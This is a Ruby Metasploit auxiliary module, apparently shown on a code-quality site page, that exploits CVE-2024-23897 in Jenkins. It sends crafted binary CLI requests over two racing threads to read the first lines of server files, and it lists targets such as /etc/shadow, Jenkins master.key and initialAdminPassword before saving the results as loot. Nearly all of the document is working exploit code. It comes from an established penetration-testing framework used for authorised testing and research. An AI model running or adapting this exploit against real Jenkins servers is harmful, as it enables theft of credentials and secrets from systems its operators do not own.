rapid7/metasploit-framework

View on GitHub
modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.rb

Summary

Maintainability
B
5 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::Jenkins
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Jenkins cli Ampersand Replacement Arbitrary File Read',
        'Description' => %q{
          This module utilizes the Jenkins cli protocol to run the `help` command.
          The cli is accessible with read-only permissions by default, which are
          all thats required.

          Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
          replace any `@<filename>` with the contents of a file. We are then able to retrieve
          the error message to read up to the first two lines of a file.

          Exploitation by hand can be done with the cli, see markdown documents for additional
          instructions.

          There are a few exploitation oddities:
          1. The injection point for the `help` command requires 2 input arguments.
          When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
          If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
          However, we can pad out the content by supplying a first argument.
          2. There is a strange timing requirement where the `download` (or first) request must get
          to the server first, but the `upload` (or second) request must be very close behind it.
          From testing against the docker image, it was found values between `.01` and `1.9` were
          viable. Due to the round trip time of the first request and response happening before
          request 2 would be received, it is necessary to use threading to ensure the requests
          happen within rapid succession.

          Files of value:
          * /var/jenkins_home/secret.key
          * /var/jenkins_home/secrets/master.key
          * /var/jenkins_home/secrets/initialAdminPassword
          * /etc/passwd
          * /etc/shadow
          * Project secrets and credentials
          * Source code, build artifacts
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Yaniv Nizry', # discovery
          'binganao', # poc
          'h4x0r-dz', # poc
          'Vozec' # poc
        ],
        'References' => [
          [ 'URL', 'https://www.jenkins.io/security/advisory/2024-01-24/'],
          [ 'URL', 'https://www.sonarsource.com/blog/excessive-expansion-uncovering-critical-security-vulnerabilities-in-jenkins/'],
          [ 'URL', 'https://github.com/binganao/CVE-2024-23897'],
          [ 'URL', 'https://github.com/h4x0r-dz/CVE-2024-23897'],
          [ 'URL', 'https://github.com/Vozec/CVE-2024-23897'],
          [ 'CVE', '2024-23897']
        ],
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2024-01-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ ],
          'SideEffects' => [ ]
        },
        'DefaultOptions' => {
          'RPORT' => 8080,
          'HttpClientTimeout' => 3 # very quick response, so set this low
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Jenkins', '/']),
        OptString.new('FILE_PATH', [true, 'File path to read from the server', '/etc/passwd']),
      ]
    )
    register_advanced_options(
      [
        OptFloat.new('DELAY', [true, 'Delay between first and second request', 0.5]),
        OptString.new('ENCODING', [true, 'Encoding to use for reading the file', 'UTF-8']),
        OptString.new('LOCALITY', [true, 'Locality to use for reading the file', 'en_US'])
      ]
    )
  end

  def check
    version = jenkins_version

    return Exploit::CheckCode::Safe('Unable to determine Jenkins version number') if version.blank?

    version = Rex::Version.new(version)

    if version <= Rex::Version.new('2.426.2') || # LTS check
       (version >= Rex::Version.new('2.427') && version <= Rex::Version.new('2.441')) # non-lts
      return Exploit::CheckCode::Appears("Found exploitable version: #{version}")
    end

    Exploit::CheckCode::Safe("Found non-exploitable version: #{version}")
  end

  def request_header
    "\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00"
  end

  def request_footer
    data = []
    data << "\x00\x00\x00\x07\x02\x00"
    data << [datastore['ENCODING'].length].pack('C') # length of encoding string
    data << datastore['ENCODING']
    data << "\x00\x00\x00\x07\x01\x00"
    data << [datastore['LOCALITY'].length].pack('C') # length of locality string
    data << datastore['LOCALITY']
    data << "\x00\x00\x00\x00\x03"
    data
  end

  def parameter_one
    # a literal parameter of 1
    "\x03\x00\x00\x01\x31\x00\x00\x00"
  end

  def data_generator(pad: false)
    data = []
    data << request_header
    data << parameter_one if pad
    data << [datastore['FILE_PATH'].length + 3].pack('C').to_s
    data << "\x00\x00"
    data << [datastore['FILE_PATH'].length + 1].pack('C').to_s
    data << "\x40"
    data << datastore['FILE_PATH']
    data << request_footer
    data.join('')
  end

  def upload_request(uuid, multi_line_file: true)
    # send upload request asking for file

    # In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
    # which is required for successful exploitation
    sleep(datastore['DELAY'])
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cli'),
      'method' => 'POST',
      'keep_cookies' => true,
      'ctype' => 'application/octet-stream',
      'headers' => {
        'Session' => uuid,
        'Side' => 'upload'
      },
      'vars_get' => {
        'remoting' => 'false'
      },
      'data' => data_generator(pad: multi_line_file)
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to upload request (response code: #{res.code})") unless res.code == 200
    # we don't get a response here, so we just need the request to go through and 200 us
  end

  def process_result(use_pad)
    # the output comes back as follows:

    # ERROR: Too many arguments: <line 2>
    # java -jar jenkins-cli.jar help
    #   [COMMAND]
    # Lists all the available commands or a detailed description of single command.
    #   COMMAND : Name of the command (default: <line 1>)

    # The main thing here is we get the first 2 lines of output from the file.
    # The 2nd line from the file is returned on line 1 of the output, and line
    # 1 from the file is returned on the last line of output. If padding was used
    # then <line 1> will just be a literal 1

    file_contents = []
    @content_body.split("\n").each do |html_response_line|
      # filter for the two lines which have output
      if html_response_line.include? 'ERROR: Too many arguments'
        file_contents << html_response_line.gsub('ERROR: Too many arguments: ', '').strip
      elsif html_response_line.include? 'COMMAND : Name of the command (default:'
        temp = html_response_line.gsub(' COMMAND : Name of the command (default: ', '')
        temp = temp.chomp(')').strip
        file_contents.insert(0, temp)
      end
    end
    return if file_contents.empty?

    # if we padded out, then our first line is 1, so drop that
    file_contents = file_contents.drop(1) if use_pad == true

    print_good("#{datastore['FILE_PATH']} file contents retrieved (first line or 2):\n#{file_contents.join("\n")}")
    stored_path = store_loot('jenkins.file', 'text/plain', rhost, file_contents.join("\n"), datastore['FILE_PATH'])
    print_good("Results saved to: #{stored_path}")
  end

  def download_request(uuid)
    # send download request
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cli'),
      'method' => 'POST',
      'keep_cookies' => true,
      'headers' => {
        'Session' => uuid,
        'Side' => 'download'
      },
      'vars_get' => {
        'remoting' => 'false'
      }
    )

    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    fail_with(Failure::UnexpectedReply, "#{peer} - Invalid server reply to download request (response code: #{res.code})") unless res.code == 200

    @content_body = res.body
  end

  def run
    uuid = SecureRandom.uuid

    print_status("Sending requests with UUID: #{uuid}")

    # Looking over the python PoCs, they all include threading however
    # the writeup, and PoCs don't mention a timing component.
    # However, during testing it was found that the two requests need to
    # hit the server nearly simultaneously, with the 'download' one hitting
    # first. During testing, even a .1 second slowdown was too much and
    # the server resulted in a 500 error. So we need to thread these to
    # execute them fast enough that the server gets both in rapid succession

    use_pad = false
    threads = []
    threads << framework.threads.spawn('CVE-2024-23897', false) do
      upload_request(uuid, multi_line_file: use_pad) # try single line file first since we get an error if we have more content to get
    end
    threads << framework.threads.spawn('CVE-2024-23897', false) do
      download_request(uuid)
    end

    threads.map do |t|
      t.join
    rescue StandardError
      nil
    end

    # we got an error that means we need to pad out our value, so rerun with pad
    if @content_body && @content_body.include?('ERROR: You must authenticate to access this Jenkins.')
      print_status('Re-attempting with padding for single line output file')
      use_pad = true
      threads = []
      threads << framework.threads.spawn('CVE-2024-23897-upload', false) do
        upload_request(uuid, multi_line_file: use_pad)
      end
      threads << framework.threads.spawn('CVE-2024-23897-download', false) do
        download_request(uuid)
      end

      threads.map do |t|
        t.join
      rescue StandardError
        nil
      end
    end

    if @content_body
      process_result(use_pad)
    else
      print_bad('Exploit failed, no exploit data was successfully returned')
    end
  end
end